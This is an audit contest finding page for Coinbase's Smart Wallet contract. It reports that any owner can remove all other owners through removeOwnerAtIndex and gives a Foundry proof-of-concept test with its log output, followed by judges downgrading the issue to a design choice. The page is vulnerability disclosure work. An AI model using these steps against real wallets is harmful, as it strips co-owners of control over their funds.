Coinbase Smart Wallet - y4y's results

Smart Wallet from Coinbase Wallet

General Information

Platform: Code4rena

Start Date: 14/03/2024

Pot Size: $49,000 USDC

Total HM: 3

Participants: 51

Period: 7 days

Judge: 3docSec

Id: 350

League: ETH

Coinbase

Findings Distribution

Researcher Performance

Rank: 28/51

Findings: 1

Award: $36.34

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

36.3397 USDC - $36.34

Labels

bug
downgraded by judge
grade-a
primary issue
QA (Quality Assurance)
sufficient quality report
:robot:_08_group
Q-26

External Links

Lines of code

https://github.com/code-423n4/2024-03-coinbase/blob/e0573369b865d47fed778de00a7b6df65ab1744e/src/SmartWallet/MultiOwnable.sol#L102

Vulnerability details

Impact

Any valid owner can remove all other owners in the wallet. Those removed owners will have their funds locked and lost.

Proof of Concept

In MultiOwnerable contract, owners can freely add and remove other owners to the wallet. All those operations have the modifier onlyOwner to ensure only owner can call the functions. However, in removeOwnerAtIndex, any index can be removed regardless of the owner which is calling.

    function removeOwnerAtIndex(uint256 index) public virtual onlyOwner {
        bytes memory owner = ownerAtIndex(index);
        if (owner.length == 0) revert NoOwnerAtIndex(index);

        delete _getMultiOwnableStorage().isOwner[owner];
        delete _getMultiOwnableStorage().ownerAtIndex[index];

        emit RemoveOwner(index, owner);
    }

As the snippet showed above, after retrieving owner address at the index, it's then deleted from the storage, and that's the end of the function. As a result, any owner can remove other owners from the wallet, causing other owners to lose funds in the wallet.

In the following unit test, proves the vulnerability:

    function test_removeAllOtherOwners() public {
        bytes[] memory _owners = new bytes[](5);
        _owners[0] = abi.encode(address(1));
        _owners[1] = abi.encode(address(2));
        _owners[2] = abi.encode(address(3));
        _owners[3] = abi.encode(address(4));
        _owners[4] = abi.encode(address(5));
        CoinbaseSmartWallet wallet = factory.createAccount{value: 1e18}(_owners, 0);
        console.log("owner[0] is owner:", wallet.isOwnerAddress(address(1)));
        console.log("owner[1] is owner:", wallet.isOwnerAddress(address(2)));
        console.log("owner[2] is owner:", wallet.isOwnerAddress(address(3)));
        console.log("owner[3] is owner:", wallet.isOwnerAddress(address(4)));
        console.log("owner[4] is owner:", wallet.isOwnerAddress(address(5)));

        vm.prank(address(5));
        wallet.removeOwnerAtIndex(0);
        vm.stopPrank();

        vm.prank(address(5));
        wallet.removeOwnerAtIndex(1);
        vm.stopPrank();

        vm.prank(address(5));
        wallet.removeOwnerAtIndex(2);
        vm.stopPrank();

        vm.prank(address(5));
        wallet.removeOwnerAtIndex(3);
        vm.stopPrank();

        console.log("owner[0] is owner:", wallet.isOwnerAddress(address(1)));
        console.log("owner[1] is owner:", wallet.isOwnerAddress(address(2)));
        console.log("owner[2] is owner:", wallet.isOwnerAddress(address(3)));
        console.log("owner[3] is owner:", wallet.isOwnerAddress(address(4)));
        console.log("owner[4] is owner:", wallet.isOwnerAddress(address(5)));
    }

The test will have the following output to the console:

[PASS] test_removeAllOtherOwners() (gas: 418750)
Logs:
  owner[0] is owner: true
  owner[1] is owner: true
  owner[2] is owner: true
  owner[3] is owner: true
  owner[4] is owner: true
  owner[0] is owner: false
  owner[1] is owner: false
  owner[2] is owner: false
  owner[3] is owner: false
  owner[4] is owner: true

Tools Used

Manual review, foundry

If removeOwnerAtIndex is not called by the wallet itself, restrict caller only removing their own index.

Assessed type

Access Control

#0 - c4-pre-sort

2024-03-21T21:54:21Z

raymondfam marked the issue as primary issue

#1 - c4-pre-sort

2024-03-21T21:54:25Z

raymondfam marked the issue as sufficient quality report

#2 - raymondfam

2024-03-21T21:56:09Z

Owners are typically controlled by the original owner. Nonetheless, a measure to prevent such scenario with no owners left from happening would be beneficial.

#3 - c4-pre-sort

2024-03-22T22:32:25Z

raymondfam marked the issue as duplicate of #22

#4 - c4-pre-sort

2024-03-24T14:46:44Z

raymondfam marked the issue as duplicate of #181

#5 - c4-judge

2024-03-27T08:52:10Z

3docSec marked the issue as not a duplicate

#6 - c4-judge

2024-03-27T08:53:16Z

3docSec marked the issue as primary issue

#7 - 3docSec

2024-03-27T09:05:34Z

Each owner having complete power over the others is clearly a design choice by the wallet team as the wallet is meant to be owned by the same physical person who for convenience may want to access it by different means, all in their possession. Adversarial actions of one owner against the other can be seen as a risk (this finding) as well as a security feature as well (one owner loses control over one private key, so it removes its access to the wallet).

Alternative designs giving protection on adversarial actions initiated by a single owner against other owners (like multisigs that require a quorum) are a different beast with different tradeoffs.

This seems like a very solid topic for an "analysis report" elaboration.

#8 - c4-judge

2024-03-27T09:05:44Z

3docSec changed the severity to QA (Quality Assurance)

#9 - c4-judge

2024-03-27T09:05:53Z

3docSec marked the issue as grade-a

#10 - 3docSec

2024-03-27T10:19:57Z

(changing severity again as somehow they were not moved to QA)

#11 - c4-judge

2024-03-27T10:20:10Z

This previously downgraded issue has been upgraded by 3docSec

#12 - c4-judge

2024-03-27T10:20:17Z

3docSec changed the severity to QA (Quality Assurance)

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter